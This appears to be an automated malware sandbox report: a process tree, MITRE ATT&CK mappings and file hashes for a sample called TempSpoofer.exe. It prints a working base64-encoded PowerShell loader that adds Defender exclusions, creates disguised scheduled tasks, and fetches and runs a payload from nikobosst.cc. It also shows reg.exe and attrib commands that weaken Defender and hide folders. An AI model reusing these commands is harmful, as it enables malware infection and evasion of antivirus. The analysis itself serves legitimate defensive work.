aQBlAHMAXAAnACwAJwBNAGkAYwByAG8AcwAnACwAJwBvAGYAdABcAFcAaQBuAGQAJwAsACcAbwB3AHMAIABEAGUAJwAsACcAZgBlAG4AZAAnACwAJwBlAHIAJwAsACcAXABFAHgAYwBsAHUAcwBpACcALAAnAG8AbgBzACcALAAnAFwAUABhAHQAaABzACcAKQApACAALwB2ACAAJABwADIAIAAvAHQAIABSAEUARwBfAEQAVwBPAFIARAAgAC8AZAAgADAAIAAvAGYAIAAvAHIAZQBnADoANgA0ADsAdAByAHkAewBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABwADEAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAHAAMgAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAfQBjAGEAdABjAGgAewB9AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABnAHAAdQBwAGQAYQB0AGUAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAvAGYAbwByAGMAZQAnACwAJwAvAHQAYQByAGcAZQB0ADoAYwBvAG0AcAB1AHQAZQByACcAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAALQBXAGEAaQB0ACAAMgA+ACQAbgB1AGwAbAA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADIAMAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBXAGkAbgBkAG8AdwBzACcAKwAnAFMAJwArACcAeQBzAHQAZQBtAFMAZQAnACsAJwByAHYAaQBjAGUAJwApACAALwB0AHIAIAAoACQAcAAxACAAKwAgACgALQBqAG8AaQBuACgAJwBcACcALAAnAHMAdgBjAGgAJwAsACcAbwBzAHQALgBlACcALAAnAHgAZQAnACkAKQApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBSAHUAbgB0ACcAKwAnAGkAbQBlAEIAcgBvAGsAJwArACcAZQAnACsAJwByAFMAZQAnACsAJwByAHYAaQAnACsAJwBjACcAKwAnAGUAJwApACAALwB0AHIAIAAoACQAcAAyAHQAIAArACAAJwBcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAgAC0ARQBtAGIAZQBkAGQAaQBuAGcAJwApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAPQBbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQByAHYAZQByAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBWAGEAbABpAGQAYQB0AGkAbwBuAEMAYQBsAGwAYgBhAGMAawA9AHsAJAB0AHIAdQBlAH0AOwAkAGkAdgA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADEANgA7AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBSAGEAbgBkAG8AbQBOAHUAbQBiAGUAcgBHAGUAbgBlAHIAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQAoACkALgBHAGUAdABCAHkAdABlAHMAKAAkAGkAdgApADsAJABhAGUAcwA9AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBdADoAOgBDAHIAZQBhAHQAZQAoACkAOwAkAGEAZQBzAC4ASwBlAHkAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACgAJwA0ADEANwAxACcAKwAnADIAOQA2ADEAMgA5ADQAOQAnACsAJwAxADEANAAxADEANgA3ADMAJwArACcAMAA4ACcAKwAnADkAMQA2ADcAMwAzADkAOQAnACsAJwAwADEAJwApACkAOwAkAGEAZQBzAC4ASQBWAD0AJABpAHYAOwAkAGEAZQBzAC4ATQBvAGQAZQA9ACgALQBqAG8AaQBuACgAJwBDAEIAJwAsACcAQwAnACkAKQA7ACQAYQBlAHMALgBQAGEAZABkAGkAbgBnAD0AKAAnAFAASwAnACsAJwBDAFMAJwArACcANwAnACkAOwAkAGMAbQBkAD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAC0AagBvAGkAbgAoACcAZwBlACcALAAnAHQAUAAnACwAJwBhAHkAbABvACcALAAnAGEAJwAsACcAZAAnACkAKQApADsAJABlAG4AYwBDAG0AZAA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBFAG4AYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABjAG0AZAAsADAALAAkAGMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAYgBvAGQAeQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgACgAJABpAHYALgBMAGUAbgBnAHQAaAArACQAZQBuAGMAQwBtAGQALgBMAGUAbgBnAHQAaAApADsAWwBBAHIAcgBhAHkAXQA6ADoAQwBvAHAAeQAoACQAaQB2ACwAJABiAG8AZAB5ACwAMQA2ACkAOwBbAEEAcgByAGEAeQBdADoAOgBDAG8AcAB5ACgAJABlAG4AYwBDAG0AZAAsADAALAAkAGIAbwBkAHkALAAxADYALAAkAGUAbgBjAEMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACgALQBqAG8AaQBuACgAJwBDACcALAAnAG8AbgB0AGUAbgAnACwAJwB0AC0AVAB5ACcALAAnAHAAZQAnACkAKQAsACgAJwBhAHAAcAAnACsAJwBsAGkAYwAnACsAJwBhAHQAaQBvAG4AJwArACcALwBvAGMAdABlAHQALQBzACcAKwAnAHQAcgBlACcAKwAnAGEAbQAnACkAKQA7ACQAZABhAHQAYQA9ACQAdwBjAC4AVQBwAGwAbwBhAGQARABhAHQAYQAoACcAaAB0AHQAcABzADoALwAvAG4AaQBrAG8AYgBvAHMAcwB0AC4AYwBjADoANAA0ADMAJwAsACQAYgBvAGQAeQApADsAJAByAGkAdgA9AFsAYgB5AHQAZQBbAF0AXQAkAGQAYQB0AGEAWwAwAC4ALgAxADUAXQA7ACQAZQBuAGMAPQBbAGIAeQB0AGUAWwBdAF0AJABkAGEAdABhAFsAMQA2AC4ALgAoACQAZABhAHQAYQAuAEwAZQBuAGcAdABoAC0AMQApAF0AOwAkAGEAZQBzAC4ASQBWAD0AJAByAGkAdgA7ACQAZABlAGMAPQAkAGEAZQBzAC4AQwByAGUAYQB0AGUARABlAGMAcgB5AHAAdABvAHIAKAApAC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAZQBuAGMALAAwACwAJABlAG4AYwAuAEwAZQBuAGcAdABoACkAOwBbAEkATwAuAEYAaQBsAGUAXQA6ADoAVwByAGkAdABlAEEAbABsAEIAeQB0AGUAcwAoACgAJABwADEAIAArACAAKAAnAFwAcwB2AGMAJwArACcAaABvAHMAdAAuAGUAJwArACcAeABlACcAKQApACwAJABkAGUAYwApADsAQwBvAHAAeQAtAEkAdABlAG0AIAAoACQAcAAxACAAKwAgACgAJwBcAHMAJwArACcAdgBjAGgAbwAnACsAJwBzACcAKwAnAHQALgBlACcAKwAnAHgAJwArACcAZQAnACkAKQAgACIAJABwADIAdABcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAiACAALQBGAG8AcgBjAGUAOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAKAAkAHAAMQAgACsAIAAoACcAXABzAHYAYwAnACsAJwBoAG8AcwB0AC4AZQAnACsAJwB4AGUAJwApACkAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuADsA
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:688
      - C:\Windows\system32\attrib.exe
        
        "C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker
        6⤵
        Views/modifies file attributes
        
        PID:5824
      - C:\Windows\system32\attrib.exe
        
        "C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy
        6⤵
        Views/modifies file attributes
        
        PID:2984
      - C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /reg:64
        6⤵
        
        PID:4348
      - C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker /t REG_DWORD /d 0 /f /reg:64
        6⤵
        
        PID:5664
      - C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy /t REG_DWORD /d 0 /f /reg:64
        6⤵
        
        PID:5396
      - C:\Windows\system32\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force /target:computer
        6⤵
        
        PID:4852
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu
      4⤵
      PID:4384
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu
      4⤵
      PID:3144
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6048,i,375014927701576434,15556216437318052177,524288 --field-trial-handle=2344,i,3493849466238361677,3993194291041640920,262144 --variations-seed-version --mojo-platform-channel-handle=6384 /prefetch:8
  2⤵
  PID:1880
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2416,i,3139986808321180055,5912096621949046399,524288 --field-trial-handle=2344,i,3493849466238361677,3993194291041640920,262144 --variations-seed-version --mojo-platform-channel-handle=1768 /prefetch:3
  2⤵
  - System Time Discovery
  PID:2072

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:4796

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:5320

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:1680

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:4488

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5088

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:2736

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:752

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.idx

Path C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.idx
Size 64KB
SHA256 b09f68b61d9ff5a7c7c8b10eee9447d4813ee0e866346e629e788cd4adecb66a
MD5 d2fb266b97caff2086bf0fa74eddb6b2
SHA1 2f0061ce9c51b5b4fbab76b37fc6a540be7f805d
SHA512 c3ba95a538c1d266beb83334af755c34ce642a4178ab0f2e5f7822fd6821d3b68862a8b58f167a9294e6d913b08c1054a69b5d7aec2efdb3cf9796ed84de21a8
SSDEEP 3:mnlllGlll/l/lXp9ZjrPBY06llSl/gX/ZP:mll0dPBY0O0uXJ
TLSH
T1D053019562930667C852033848CB0BA63A7A9619979345A282A49270D8A9B6584A2299
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.lock

Path C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.lock
Size 4B
SHA256 7852fce59c67ddf1d6b8b997eaa1adfac004a9f3a91c37295de9223674011fba
MD5 f49655f856acb8884cc0ace29216f511
SHA1 cb0f1f87ec0455ec349aaa950c600475ac7b7b6b
SHA512 599e93d25b174524495ed29653052b3590133096404873318f05fd68f4c9a5c9a3b30574551141fbb73d7329d6be342699a17f3ae84554bab784776dfda2d5f8
MD5 SHA1 SHA512

Submit Download

F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.val

Path C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.val
Size 944B
SHA256 878947d0ec814fe7c343cdebc05eebf00eb14f3023bdb3809a559e17f399fe5d
MD5 6bd369f7c74a28194c991ed1404da30f
SHA1 0f8e3f8ab822c9374409fe399b6bfe5d68cbd643
SHA512 8fc5f073dc9fa1e1ae47c60a5f06e0a48709fd6a4302dffaa721858409e7bde64bc6856d3fb28891090516d1a7afc542579de287778b5755eafe75cc67d45d93
TLSH
T18811924A3AC71DB8F37A6D71006991242202B2275CC2D61C4AC4C6A98B35618E476FA8
MD5 SHA1 SHA512 TLSH

Submit Download

TempSpoofer.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\TempSpoofer.exe.log
Size 4KB
SHA256 9602e4343a4a775aa7a398c72b9b2e72b837c8be8a5a178055c56543db29bf78
MD5 7045504205ac49814eb31b45aa5c95a2
SHA1 62c64e352c12fa1597e857f30c064a504fd7d706
SHA512 0c9aea0099aeebcee06fc670fc9e13fb1c27e98426ea2eafe45516338a61d51aeb82217de5fdaf444ef9de6e5e83dd51449f3e9a149d7229c5e4f71784d2ec8d
SSDEEP 96:iq3NYqGeHoS0wmn0qgQVaCtIzoZcxrAm0vBPQYrhGxmlRtznEeqKJqndx4q+q6fU:iqdYqGAEwmn0qgQjIzolNtznEeqKJqn/
TLSH
T1E791FD323376B0D4CC567F072A2819C063AF4396EA94AF5CB25C625ED92751B8B122F7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

687ef623-b28f-490e-afa8-0a3172fa4d56.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\687ef623-b28f-490e-afa8-0a3172fa4d56.tmp
Size 28KB
SHA256 256e5ee5afc1a49f1983d7b9999a0505e502277b1cfd3ef4804e47853d9f2d9d
MD5 e5d81b3efc8d2173861801478238f704
SHA1 7407e6788f329f3e32feb6a694227d677ead23fc
SHA512 a3c3cedb9c53e790d940d61252a242dadcc39c6e3fbfdb527e06826b6fe50477057b9d43f7786ae199b5b56fab52acfc85e2172723b8d1813d09adc72322b4e8
SSDEEP 384:nviFXZcIEsNBr8TUNTUlI41QckCraNcphiftG4WXGXM/elOObjI9G6w7+jty/7II:6FfEUwgIk7qoG4+AM/el29Mz
TLSH
T1F8D24A37EC64CAB7EDE78B96B74A3A039EF442639ACC4AC4D5D85E1D01971AD030BC16
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CrashpadMetrics-active.pma

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\CrashpadMetrics-active.pma
Size 16KB
SHA256 452a5479b9a2e03612576c30d30e6f51f51274cd30ef576ea1e71d20c657376f
MD5 cfab81b800edabacbf6cb61aa78d5258
SHA1 2730d4da1be7238d701dc84eb708a064b8d1cf27
SHA512 ec188b0ee4d3daabc26799b34ee471bee988bdd7ceb011ed7df3d4cf26f98932bbbb4b70dc2b7fd4df9a3981b3ce22f4b5be4a0db97514d526e521575efb2ec6
SSDEEP 12:biUXhV0xosU8xCe+JKlkQuMRxCb8ZXfgYJ0IJpP0KLsyW1L7Fx6:bFRqxosU8xWMk8xVZ4YWI30otWn
TLSH
T14F724986B34494EFC883597189BD17903374F6EE5F02839B6A267A0E2E271C44F44220
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 9300dc4b11c647d4484e20f994dffbbd9939379d590fc7dedf9875372c431ce1
MD5 b031933009b03b3dcfc6f363760f83dd
SHA1 a9d3126d19c73dafd7e12a688bb3a802627790ee
SHA512 f606a12a9a0879bb3f7d6c9bcb6e3754434b9f0d8f1d351e8104aef087c326f689af5174eddcb6a3cd1f1d07864ff544fc76e73f8b76bf6d4330e19666cb7b28
TLSH
T18FD012BA2A4E7010F26D4A31B416CB00776D15A12852A705E22D944C99A90A562C62C6
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 8da58a9b03c676d64167caf3657c5315a0b78038e3ae23bfef432a40d8d22290
MD5 81f1d957977f2d73471366011b7128bf
SHA1 c3403bfa34ee45b494966cf8be9bed08da2c5168
SHA512 171afd7f20b750bc0bdc1fc9fd4cf14984e63031e562c60a7b1bab3112c84572ebc63669b744e0e5399b2f5453039fb86937cf7ab417a72da7f1ad931c88f0c5
TLSH
T152D012B62A4A7010F2694A31B456CB00776D15A12852A705E26D945C99A90A566C62C6
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 110d3f52d5ee708e756475c42c9d7696a9f600de79d860a23196205019c54e9e
MD5 91d4e9de75d02eed75be1e704645d7f0
SHA1 d2e4f69a97b4cf6daaa2b363bfbcd0264f01b808
SHA512 469a7fd01e674783f481c9ad0d98d20f9afdc148ecb0a22e7831f840a2bf0931adb051c36568c96641584525b796852be513a5fb749693d1f60dee1ea4ac60a7
TLSH
T131D097F8691AB2A0E03D083260204600B22C06A228A3A306E1AD180CDDB800062CAAC9
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BrowsingTopicsState
Size 414B
SHA256 5f610bd1c3e1b42a592fbcd097f82d97892861fa21a59a4005ed69ef1a8d20a2
MD5 60bf10ddeaa7050449e712d46651e275
SHA1 3f466a4f1c1bee052a00c8c44b74f9634c21c101
SHA512 8acb25e911b6781859299fecd16c36d495652c78277418c7aed6d02b7c6ce1d6551fafc60500afe973d1d2534a6e6f894636659597b51a8f558851da8d2c2b9c
TLSH
T1B2E022BAC822EC2748FE0B29A01D9756E751132B3A50995F3B3C821D8FF063A86C5C5C
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 6KB
SHA256 aab24bf597d8a3a08070ab673490cac894b190ee81b0ad99fff42ad264009030
MD5 0752928f1c57f1dd7192dfe221edd9d2
SHA1 3a87af1283ecebda10bf1143204f39b3e53a3d1c
SHA512 39b7758037c10df92aeae73309a3f796d489bb30cdd6ad46b1557e778de6e37a4cd22878e87b399c3dab2460cded5c9c83d7d525a3ba8392d105e202edbab3fd
SSDEEP 96:WsPYPj4Q8Uud9Zjedt978wdj3D4kbfBFvvP2gPFx17XOdeRZ6:WJPje1Q97BJUAfBF+Wn1rlf6
TLSH
T13CD1D4363943DFB2DF510E3286FB0D14B076A6ECFA238EDA9186157547C9371496C839
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index~RFe587133.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe587133.TMP
Size 3KB
SHA256 0c0eb6b83a1fc7d4a6103e2e95d118832c44f2c2a7c8ed3339fe05693f30f260
MD5 7e3dbe12b11b4d14ff4440bac2d3a3b6
SHA1 54c2eff022ec0c23d8f0b8ad440df4dac9a52e92
SHA512 3c261464266050132de05504941395748253f700c6c097b5e7d7f5ed140f0f27e1253729d808f6ed8f91b888f9397c1f5c944a66e71dc700c9ec9258f381eb0b
TLSH
T1BA81913345421EB3DB110A33C3D21E18B03B8AFCFB638E96A1C655B596CD79281B596E
MD5 SHA1 SHA512 TLSH

Submit Download

DIPS-wal

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DIPS-wal
Size 108KB
SHA256 d43f098d1444e7103a3b13e4de331d853f7b6d3393d54fd8019a58fe6f261bd2
MD5 b6f466275094ca00131dc686a0853af6
SHA1 b956dda5aee5e3624a2ef9a638af4e3e8c9d0198
SHA512 0d7866a9f108a21899632849d1510beb44ad5f0aaedb8375298a2fb45af7adb93f3384c5ac9866b01320196642f12972ce8d17bddd3b0d061798ac44417f4d3b
SSDEEP 96:XPCEmrm43b/LuaLNW9WjWbfl+yxX4iJ+UPl7:XPMW9WqbfPCU97
TLSH
T1A4B310934EADAC51D081C93CD983E8EE0BB90948A50EEDF85D3860119EC310491BFCEC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Extension Cookies

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extension Cookies
Size 20KB
SHA256 de48f5c4308a2477450952a8fd6462c411cc966f9e0fb0065a252b3be831a482
MD5 7696a61462ad640aba1171c8c42f837d
SHA1 4b1efd332c87a107f7b72f71e4b88af6c7994e05
SHA512 4b9849565bdb051e85ce777cc950516fa73b8beb75d54cb794a536176e9c239c5ec46de257c01b028924579d94ef7ddba31872ab244d4c2f999000814437e8a0
SSDEEP 24:TLZLbXYFpFNYbatqn1kweka6za6UwpQ9YH8PATZ6HfB:T9LopFMatSaw/auUOt8B
TLSH
T1F4928A4E5F346220C0F44B36EDD189672F7C212CD3A72699DE1420F3DE925ABF1095AA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ExtensionActivityEdge

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\ExtensionActivityEdge
Size 32KB
SHA256 d86b7b7f10bbecfa155b2aa53e2a61a8b726d075be1073b16322b4446e5f564a
MD5 959fd7a9dd064b5f7fead31a31b71b10
SHA1 fd0d829d81034864d3c8c3f212815cdadc8bed62
SHA512 84099eb90e068a3100530d376ebd68db1a68880d543e8c94c0cd92c292ec0655afe96d491ebb837604bb491b987bfbf18cdf13e6be24aac9ba0c205bd8744d00
SSDEEP 24:TL8JhK3iOvwxwwweePKmJIOAdQBVA/BNj2VTJZwJ9vpV3WOT/uReQQ:Tgm+BE9ZW9v/3WOT/
TLSH
T1A3E23A2A5E7C7521CD667136BC21A4665CB910DA977336F23EE0007D6F8228BC475CEE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Favicons

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Favicons
Size 24KB
SHA256 f78fea053f0f60bbd3f9f73de5cd8af6916d8fe620bad62dc26cbe0e863189a6
MD5 4e8a20f9be24f74aa3b7763d09bda48b
SHA1 63dc9c7d63b6f47a31bf3a8989beb98ed1dc86ae
SHA512 cc0cf325edc123c09abbb94302b0f9ca664cf5b9486e9fbd921301a75c4afa8b1860a3386e03e37f336071dfbacf44d8d25083acc45c9e1b61662e5e29c0715e
SSDEEP 96:UBCxcN4y73fOJsUYlTCTad2bybsq1pW4EM0j:GacOy73ftUoTC+IIhEM0j
TLSH
T1F3B2F8A75E353006CB441E3F22196DB28E3BD26CEFE2ED55B0344421ACB855690B4AFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

History

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\History
Size 204KB
SHA256 b6d9d3870bbe01adabeaebea391c9d78d18e9ad811706a0bd7e14288499c07d1
MD5 d2e3707c06a2af5c56175757af088f9f
SHA1 17e93857d24a5e9be56d8f0e96ad1e56a7334917
SHA512 3635dd18393de69043d553b29642f8ef3900a20329ee049e13cd70df4a10bd3aeceb7d03b632947a8617c08616ecef6ed163801479b2abd42b71f4ba2cf72b1e
SSDEEP 192:nyZvbxaUUQ6f+G83uy3Ct7XBBKy3H7DXspU3iV:nyZzxaUUQ6/83uICtTBB7X7DXspU3iV
TLSH
T1F714315E1F643722CDBD917669E744B35C7CF03FCB1266DA68710474CEE2A52A02C8AE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

History-journal

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\History-journal
Size 8KB
SHA256 d104e3f70fe62351b32dd75ceacfe343636994704e97226f8cea23a8ef00c5d2
MD5 6f6fe02d033cb12f431614fa57ebd786
SHA1 4b78238396bd3e627212ddfa17dbf2b8341265b2
SHA512 29bd27fa206ff177bd3270cdcc779c6e13d2ac869942687f98288bb3fb8e0ffd713aab21739f4a8c4add71309ea4fd57420cd87b8ee95b2bd24905cf94973129
SSDEEP 3:8N/lW//lFlljq7A/mhWJFuQ3sVkWUX8N/ln4dwenqFtjE9SFcTpz0WWaV1vGrV9v:8N/2E7nVk9894d4FS99pzTB1eB1
TLSH
T12002124066509573EC08963DA28641D85F762D0C5CA1D80181548C110A006D9924845F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

InterestGroups

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\InterestGroups
Size 4KB
SHA256 ed043ff7b0020a443824f7bbcbbae81562d03a13a1ace3d78017fac38aea7da8
